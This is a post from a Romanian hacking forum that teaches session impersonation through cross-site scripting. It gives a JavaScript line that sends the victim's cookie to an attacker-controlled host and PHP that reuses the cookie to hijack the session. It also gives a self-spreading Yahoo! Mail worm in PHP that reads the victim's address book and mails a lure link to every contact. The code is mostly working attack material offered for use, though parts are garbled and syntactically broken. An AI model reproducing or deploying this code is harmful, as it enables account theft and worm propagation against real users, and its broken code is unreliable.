Www.Hackinng.Ro
Totul despre Hacking !!!
Lista Forumurilor Pe Tematici
Www.Hackinng.Ro | Inregistrare | Login

POZE WWW.HACKINNG.RO

Nu sunteti logat.
Nou pe simpatie:
mariaa5 25 ani
Femeie
25 ani
Bucuresti
cauta Barbat
31 - 48 ani
Www.Hackinng.Ro / Hacking-ul nostru cel de toate zilele / Atacul XSS de impersonare  
Autor
Mesaj Pagini: 1
air_g3org3
Administrator

Inregistrat: acum 14 ani
Postari: 734
PARTEA 1: Descriere

Folosind atacuri Cross Site Scripting(XSS) devine posibila impersonarea unui utilizator
legitim(victima) care este autentificata pe un website(tinta)

In acest document vom presupune ca site-ul tinta are o vulnerabilitate XSS
care ii permite unui atacator sa injecteze cod rau intentionat intr-o pagina.


Aceasta este secventa de pasi implicate in acest tip de atac


1. Victima se autentifica pe site-ul tinta
2. Atacatorul ii trimite victimei un link spre o pagina(continand cod rau intentionat)
de pe site-ul tinta
3. Victima navigheaza catre pagina
4. Codul continut in acea pagina incarca un script din alta locatie trimitand spre
acesta si cookiul victimei
5. Scriptul foloseste acest cookie pozand drept victima pe site-ul tinta


Exemplificare:

Presupunem ca victima este deja autentificata pe site-ul tinta

Tinta are o vulnerabilitate XSS de forma

Atacatorul ii trimite victime link-ul
"http://www.tinta.com/pagina.php?var="

Atuncti cand victima urmeaza linkul scriptul "js.js" este incarcat si executat de browserul acestuia

===== js.js =====

new Image().src='http://www.atacator.com/php.php?cookie= '+escape(documentˇcookie);

=================

Fisierul "js.js" contine un cod care face un request catre fisierul "php.php" de asemenea
controlat de atacator

===== php.php =====


$domain=".target.com"; // domeniul pentru cookie

$cookie=$_GET['cookie'];

//creeam fisierul cookie presupunand ca cookiul sesiunii are mai multe secvente "nume=valoare; "

$hcook=fopen("cookie.txt","w";
$params=split('; ',$cookie);
for($i=0; $i
{
$eqpos=strpos($params[$i],"=";
$name =substr($params[$i],0,$eqpos);
$value=substr($params[$i],$eqpos+1,strlen($params[$i]));
fwrite($hcook,$domain. " TRUE / FALSE 9999999999 ".$name." ".$value." ";
}
fclose($hcook);

// facem orice request curl folosind "cookie.txt" ca CURLOPT_COOKIEFILE si CURLOPT_COOKIEJAR

?>

Fisierul "php.php" este esenta acestui tip de atac.
Acesta ia cookie-ul victimei si il foloseste incat se poate da drept victima
pe site-ul tinta
Motivul folosiri unui script php in locul unuia javascript este acela ca in acest mod
putem trece de politica aceleiasi origini a javascriptului avand posibilitatea de
a face requesturi catre ORICE domeniu unde cookie-ul este valid
Mai mult putem primi si trimite date catre site-ul tinta manipulandu-le in orice mod.



>>PARTEA 2: Vierme Yahoo! Mail PoC

Presupunem ca Yahoo! are o vulnerabilitate XSS de forma "http://xxx.yahoo.com/pagina?var="

1. Atacatorul ii trimite victimei un email continand un link catre
2. Victima urmeaza link-ul
3. Fisierul "worm.php" ii fura victimei cookie-ul si folosindu-se de el trimite un email
catre toate persoanele din Address Book-ul victimei
4. Persoanele din Address Book devin la randul lor victime atunci cand urmeaza link'ul
din emailul trimis de vierme care aparent vine de la victima


===== worm.php =====


$subject="Link pentru tine"; // subiectul mesajului
$message ="Uite un link cool: click me"; // corpul mesajului

// eliminam nevoia de a folosi un fisier "js.js" verificand valoare parametrului "cookie"
// daca nu exista tiparim continutul fisierului "js.js"
// iara daca exista continuam cu codul "php.php"

if(!isset($_GET['cookie']))
{
$scripturl="http://".$HTTP_HOST.$REQUEST_URI;
print("new Image().src='".$scripturl."?cookie='+escape(documentˇcookie);";
}
else
{
$cookie=$_GET['cookie'];

// cream un nume unic de fisier unde sa salvam cookiul asigurandu'ne astfel
// ca atunci cand mai multe victime acceseaza simultan scriptul cookie'urile
// lor nu se vor incurca
$cookiefile=rand(100,999).".txt";


// creeam fisierul cookie

$hcook=fopen($cookiefile,"w";
$params=split('; ',$cookie);
for($i=0; $i
{
$eqpos=strpos($params[$i],"=";
$name =substr($params[$i],0,$eqpos);
$value= substr($params[$i],$eqpos+1,strlen($params[$i]));
fwrite($hcook,".yahoo.com TRUE / FALSE 9999999999 ".$name." ".$value." ";
}
fclose($hcook);

// incarcam address book'ul Yahoo! pentru a extrage datele despre contacte si a crea o variabila
// de forma E-mail, etc.." ,de asemenea gasirea domeniului
// us.fXXX.mail.yahoo.com care se schimba la fiecare autentificare


$address=curl("http://address.mail.yahoo.com/","",$cookiefile);
if(strpos($address,"Yahoo! Address Book"==true) // daca pagina a fost incarcata corect
{
$apage=explode(" ",$address);
foreach($apage as $line_num => $aline)
{
if(strstr($aline,"ymsgr:sendIM")
{
$ex =explode("?",$aline);
$ex2=explode(""",$ex[1]);
$id=$ex2[0];
$to=$to.$ex2[0]."@yahoo.com,";
}
if(strstr($aline,"Compose")
{
$ex3=explode("/",$aline);
$domain="http://".$ex3[2];
}
}
}

// incarcam formularul "Compose" aflat pe us.fXXX.mail.yahoo.com pentru a gasi actiunea formularului
// de trimitere email si valoarea parametrului ".crumb" de care avem nevoie pentru a trimite mesajele


if(strlen($to)>0 && strlen($domain)>0) // daca avem cele doua variabile
{
$compose= curl($domain."/ym/Compose?","",$cookiefile);
if(strpos($compose,"Yahoo! Mail"==true) // daca pagina a fost incarcata corect
{
$cpage=explode(" ",$compose);
foreach($cpage as $line_num => $cline)
{
if(strstr($cline,"form name="Compose"")
{
$ex4=explode(""",$cline);
$action=$ex4[5];
}
if(strstr($cline,".crumb")
{
$ex6=explode(""",$cline);
$crumb=$ex6[3];
}
}
}

if(strlen($action)>0 && strlen($crumb)>0) // daca avem cele doua variabile
{

$subject=str_replace(" ","+",$subject);
$message=str_replace(" ","+",$message);

// generam POSTFIELDS pentru curl

$post ="SEND=1&SD=&SC=&CAN=&docCharset= iso-8859-1&PhotoMailUser=&PhotoToolInstall=&";
$post.="OpenInsertPhoto=&PhotoGetStart= 0&SaveCopy=no&PhotoMailInstallOrigin=&";
$post.="box=&.crumb=".$crumb."&";
$post.="FwdFile=&FwdMsg=&FwdSubj=&FwdInline= &OriginalFrom=&OriginalSubject=&";
$post.="InReplyTo=&NumAtt=0&AttData=&UplData= &OldAttData=&OldUplData=&FName=&";
$post.="ATT=&VID=&Markers=&NextMarker= 0&Thumbnails=&PhotoMailWith=&BrowseState=&";
$post.="PhotoIcon=&ToolbarState=&VirusReport= &Attachments=&BGRef=&BGDesc=&BGDef=&";
$post.="BGFg=&BGFF=&BGFS=&BGSolid=&BGCustom= &PlainMsg=&PhotoFrame=&PhotoPrintAtHomeLink=&";
$post.="PhotoSlideShowLink=&PhotoPrintLink= &PhotoSaveLink=&PhotoPermCap=&PhotoPermPath=&";
$post.="PhotoDownloadUrl=&PhotoSaveUrl= &PhotoFlags=&start=compose&bmdomain=&hidden=showcc&";
$post.="showbcc=&AC_Done=&AC_ToList= &AC_CcList=&AC_BccList=&sendtop=Send&";
$post.="savedrafttop=Save+as+a+Draft&canceltop= Cancel&To=".$to."&Cc=&Bcc=&";
$post.="Subj=".$subject."&Body=".$message."&Format= html&SigAtt=1&sendbottom=Send&";
$post.="savedraftbottom=Save+as+a+Draft&cancelbottom=Cancel&";

// trimitem mailurile
$mail=curl($domain.$action,$post,$cookiefile);

}
}
unlink($cookiefile);
}

function curl($url,$post='',$cookiefile) // functie pentru usurarea request'urilor curl
{
$rand=rand(100000,400000);
$agent="Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/".$rand." Netscape/7.1 (ax)";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
if($post!=='')
{
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
}
curl_setopt($ch,CURLOPT_COOKIEFILE,$cookiefile);
curl_setopt($ch,CURLOPT_COOKIEJAR,$cookiefile);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
$result=curl_exec($ch);
curl_close($ch);
if($result=="" { curl($url,$post); } else { return $result; }
}

?>

===================

Impactul acestui tip de vierme poate fi urias avand in vedere ca mesajul email trimis de vierme pare ca vine de la o persoana pe care victima o cunoaste si in care are incredere.


_______________________________________
Pot patrunde in orice sistem informatic si pot fura orice date. Pot sa ma uit in computerul tau si nici macar n-o sa stii ca am fost acolo…

pus acum 14 ani
   
Pagini: 1  

Mergi la